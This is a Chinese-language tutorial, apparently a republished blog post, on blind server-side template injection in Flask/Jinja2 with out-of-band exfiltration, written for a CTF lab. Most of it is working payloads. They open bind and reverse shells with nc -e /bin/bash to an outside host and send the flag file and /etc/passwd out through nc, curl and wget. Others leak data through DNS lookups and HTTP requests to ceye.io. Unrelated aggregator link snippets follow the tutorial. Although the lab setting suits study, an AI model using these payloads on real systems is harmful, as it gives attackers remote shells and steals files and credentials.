SSTI 无回显绕过_带外注入

2023-11-05

SSTI 无回显注入_带外注入

SSTI课程推荐 重庆橙子科技 SSTI模板注入 ,我在这里学到了很多。

配合 docker 靶场 mcc0624/flask_ssti 食用效果更佳。

建议各位在学习带外时先基本掌握 TCP/IP 的基础知识和 netcat,curl,wget 等工具的基本使用。

请添加图片描述


带外注入,就是把目标主机的关键信息,利用一些工具,绕过其业务本身,带到外部来。要利用好带外注入,我们最好有一台公网上的云服务器,这会使得带外容易得多。

在服务器上,我们可以随便起一个 python 服务监听一个端口,或者用 nc 监听一个端口。

eg: python3 -m http.server 2333 或者 nc -lvp 2333

一、netcat 带外 & 后门 & 反弹 shell

关于 netcat 的使用,建议参考国光大佬的 nc 命令教程 一文。

目标主机处于内网时,可将信息带外。目标主机处于公网时,可在主机上留下后门或者反弹 shell 来获得 shell 。

1. nc 留后门(持续监听一个端口)

ncat ( 某种版本的 nc ) 的 -k 选项简直是后门之神,可以方便以后继续连接。关于这个版本的特殊,可见 nc 命令教程

  • shell 代码

先在靶机监听本地 2333 端口,这就是一个后门了

# @ target netcat
# netcat 在客户端断开连接后会自动退出
nc -lp 2333 -e /bin/bash
# @ target ncat
# ncat 的 -k 命令可以在客户端断开连接后仍保持监听,隐蔽性更好
nc -lk 2333 -e /bin/bash

攻击机连接靶机 2333 端口

# @ attacker netcat
# target_ip 需要是公网 ip
nc <target_ip> 2333
  • payload

由于我的靶场装在docker上,所以这个实验未实际测试。大家可以在本地起一个 flask 环境进行测试。

{{config.__class__.__init__.__globals__['os'].popen('nc -lk 2333 -e /bin/bash').read()}}

攻击机进行连接 shell 并输出 flag 。

nc 192.168.32.138 2333
cat flag

2. nc 反弹 shell

如果主机的服务放在 docker 里,比较难连接到后门,这时反弹 shell 最简单。个人觉得一般做题时反弹shell最为实用。

  • shell 代码

当监听的本地端口获取到 shell 时输出 flag

# @ attacker qlear.top netcat
nc -lvp 2333
cat flag

-e 参数将将 /bin/bash 传递给 nc

# @ target netcat
nc qlear.top 2333 -e /bin/bash
  • payload

这与上面的留后门 payload 差不多,注意先在我们的公网服务器上进行监听本地端口。

{{config.__class__.__init__.__globals__['os'].popen('nc qlear.top 2333 -e /bin/bash').read()}}

请添加图片描述

3. nc 文件带外

带外其实和反弹 shell 差不多,只是反弹 shell 时我们是直接连接 shell ,而带外时我们是连接文件。

  • shell 代码
# @ target netcat
nc qlelar.top 2333 < flag
nc qlear.top 2333 < /etc/passwd
# @ attacker qlear.top netcat
nc -lvp 2333

请添加图片描述

  • payload

老规矩,提前在公网服务器上进行监听本地端口。

{{config.__class__.__init__.__globals__['os'].popen('nc qlear.top 2333 < flag').read()}}

二、 curl & wget & DNSlog 带外

由于本人比较菜,对这3种工具的使用不是很熟悉,所以这里只是简单的介绍一下。

1. curl & wget 带外

先在我们的公网服务器上监听本地端口,我们可以使用 nc -lvp 2333 或者 python3 -m http.server 2333

  • shell 代码
# @ target netcat
curl qlear.top:2333 -F "file=@flag"
curl qlear.top:2333/`cat flag`
# 实测 wget 带外时发现 flag 中有空格时输出信息会不完整
wget qlear.top:2333/`cat flag`
  • payload
{{config.__class__.__init__.__globals__['os'].popen('curl qlear.top:2333 -F "file=@flag"').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl qlear.top:2333/`cat flag`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('wget qlear.top:2333/`cat flag`').read()}}

请添加图片描述

2. DNSlog 带外

想要利用 DNSlog 带外注入,我们需要一个 DNSlog 服务器,这里推荐 ceye 。先在 ceye 注册一个账号,然后在 Profile 查看自己的 Identifier
当我们在服务器上 ping (nslookup 一类工具亦可)ceye 提供的 identifier 域名(域名拼接 shell 命令)时,ceye 将会记录下这个域名的解析记录,然后我们就可以在 ceye 的网站上查看这个解析记录中的带外信息了。

实操时,会发现 ping 命令不能 ping 很长的域名,例如:

# your_identifier : ceye 提供的 identifier
ping `whoami`.<your_identifier>.ceye.io   # 正常执行
ping `cat flag`.<your_identifier>.ceye.io # 会报错

请添加图片描述

这就需要用到 cut 命令来一段一段的截取字符串。cut 命令在这里的作用就像sql注入中的 substr() 函数一样。

  • DNSlog 带外 shell 代码
# 截取 flag 的第 6 到 19 位(亲测比较合适的长度)
ping `cut -c6-19 flag`.<your_identifier>.ceye.io

然后在 ceye 的侧栏 Records 选项 DNS Query 里查看 DNS 解析记录,解析记录将含有带外信息。网站刷新比较慢,需要耐心等待一段时间。

请添加图片描述

请添加图片描述

  • curl & wget 带外 shell 代码

ceye 还有一个功能,那就是也可以监听到 http 请求,所以我们可以利用这个功能来 curl 或者 wget 带外 flag ,这也算是多了个手法。

curl http://<your_identifier>.ceye.io/`cat flag`
wget http://<your_identifier>.ceye.io/`cat flag`

然后在 ceye 的 Records 一栏的 HTTP Request 查看 curl 和 wget 的 http 请求。

  • payload
# cut 截取长度需要多次调整尝试
{{config.__class__.__init__.__globals__['os'].popen('ping `cut -c6-19 flag`.<your_identifier>.ceye.io').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl http://<your_identifier>.ceye.io/`cat flag`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('wget http://<your_identifier>.ceye.io/`cat flag`').read()}}

请添加图片描述

请添加图片描述


参考

shell中的命令用法(cut)
在学习 ceye 的使用时发现一个大佬的文章很有意思:DNS Rebinding攻击绕过ssrf

By QING

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SSTI 无回显绕过_带外注入 的相关文章

随机推荐

  • mysql中实现交叉连接的食_Mysql中的连接查询

    连接查询 内连接 无条件内连接 无条件内连接 又名交叉连接 笛卡尔连接 第一张表中的每一项和另一张表的每一项依次组合 SELECT FROM students JOIN subjects 上图两张不一样的JOIN方法 有条件内连接 在无条件
  • html 替换多选框和单选框默认的按钮

    div class 113 div
  • CTF Show Web5

    题干中给出关键提示 phps源码泄露有时候能帮上忙 phps文件是什么 phps文件就是php的源代码文件 通常用于提供给用户 访问者 查看php代码 因为用户无法直接通过Web浏览器看到php文件的内容 所以需要用phps文件代替 可见本
  • 程序计算精确圆周率Pai的方法

    一些参考资料 http www guokr com blog 444081 大家都知道 3 1415926 无穷多位 历史上很多人都在计算这个数 一直认为是一个非常复杂的问题 现在有了电脑计算机 这个问题就简单了 最简单高效用Python
  • 前端实战-咪咪在线音乐网站(一)

  • 随机密码生成。编写程序,在26个字母大小写和10个数字组成的列表中随机生成10个8位密码。

    随机密码生成 编写程序 在26个大小写字母和10和数字组成的列表中随机生成10个8位的密码 根据题目要求 我们编写的程序主干要有哪些内容呢 1 随机选择 2 26个大小写字母 3 10个阿拉伯数字 0 9 4 10组8位的密码 具体内容分析
  • Qt通过Http上传数据或文件

    Qt网络相关的三个主要类QNetworkAccessManager QNetworkRequest QNetworkReply 一般的使用方法就是 QNetworkRequest添加头和地址等信息 QNetworkAccessManager
  • 记录Java代码的执行时间

    方式1 public void testMenu1 M1 第一种是以毫秒为单位计算的 long startTime System currentTimeMillis 获取开始时间 Role r new Role r setId Long v
  • OSI七层参考模型之一:传输层

    大家好呀 我是请假君 今天又来和大家一起学习数通了 今天要分享的知识是OSI七层参考模型之一的传输层 传输层 Transport Layer 的功能是为会话层提供无差错的传送链路 保证两台设备间传递信息的正确无误 传输层传送的数据单位是段
  • 我们在囧途之技术管理者篇

    http blog csdn net shenyisyn article details 8350939 注 本文使用第一人称 原型取材于周围同事或民间 不代表作者本人 一到年底我就头疼 上午到了办公室刚倒了杯水 还没喝上一口 下属张XX就
  • Post请求基本步骤

    接着我的博客前后端交互来 使用Post请求完成操作 get方法从服务器获取数据 post方法向服务器提交数据 public class MainActivity extends AppCompatActivity OkHttpClient
  • SQL优化

    一 查询SQL尽量不要使用select 而是具体字段 1 反例 SELECT FROM user 2 正例 SELECT id username tel FROM user 3 理由 节省资源 减少网络开销 可能用到覆盖索引 减少回表 提高
  • jmeter java版本_Jmeter部署安装

    Jmeter安装 一 Apache Jmeter介绍 Apache JMeter是Apache组织开发的基于Java的压力测试工具 用于对软件做压力测试 它最初被设计用于Web应用测试但后来扩展到其他测试领域 它可以用于测试静态和动态资源例
  • 这样的会议让人很纠结

    很纠结吧 永远也不要参加这样的会议 顺便说一下 解决这个问题的方法就是 可用性测试 Usability Testing 好好想一想 我们做决定的时候 是要无休无止地争吵 最后谁吵赢了谁说了算呢 还是要基于真实的数据 这个变化是一场革命
  • truffle 安装以及基本指令

    1 linux下安装方式 npm install g truffle 环境要求 NodeJS 5 0 Windows Linux 或Mac OS X 2 创建工程 mkdir testdir cd testdir truffle init
  • ChatGPT 原理与核心技术介绍(自然语言处理NLP的发展与Transformer的概念)

    文章目录 1 定义 ChatGPT与自然语言处理NLP 1 1 图灵测试 1 2 建模形式 多轮历史对话原理 1 3 NLP 的发展历程 规则 gt 统计 gt 强化学习 1 4 NLP 技术的发展脉络 1 5 ChatGPT 的神经网络结
  • 巧用枚举类型来管理数据字典

    巧用枚举类型来管理数据字典 文章目录 巧用枚举类型来管理数据字典 背景 管理数据字典方法 使用接口来管理数据字典 使用数据表管理数据字典 枚举的增强使用 枚举的优化策略 第一步优化 枚举继承接口 第二步优化 增加 Bean 存枚举值 使用享
  • apache mina 学习笔记之一:mina简介和环境搭建

    Mina简介 Apache MINA Multipurpose Infrastructure for Network Applications 是 Apache 组织一个较新的项目 它为开发高性能和高可用性的网络应用程序提供了非常便利的框架
  • 腾讯云图,让数据说话

    欢迎大家前往腾讯云 社区 获取更多腾讯海量技术实践干货哦 本文由腾讯云数据库 TencentDB发表于云 社区专栏 一 腾讯云图 数据之美 了解腾讯云图之前 我们先来看看数据可视化 这是星云图 他表示的是QQ同时在线人数 看到这个图大家脑袋
  • SSTI 无回显绕过_带外注入

    SSTI 无回显注入 带外注入 SSTI课程推荐 重庆橙子科技 SSTI模板注入 我在这里学到了很多 配合 docker 靶场 mcc0624 flask ssti 食用效果更佳 建议各位在学习带外时先基本掌握 TCP IP 的基础知识和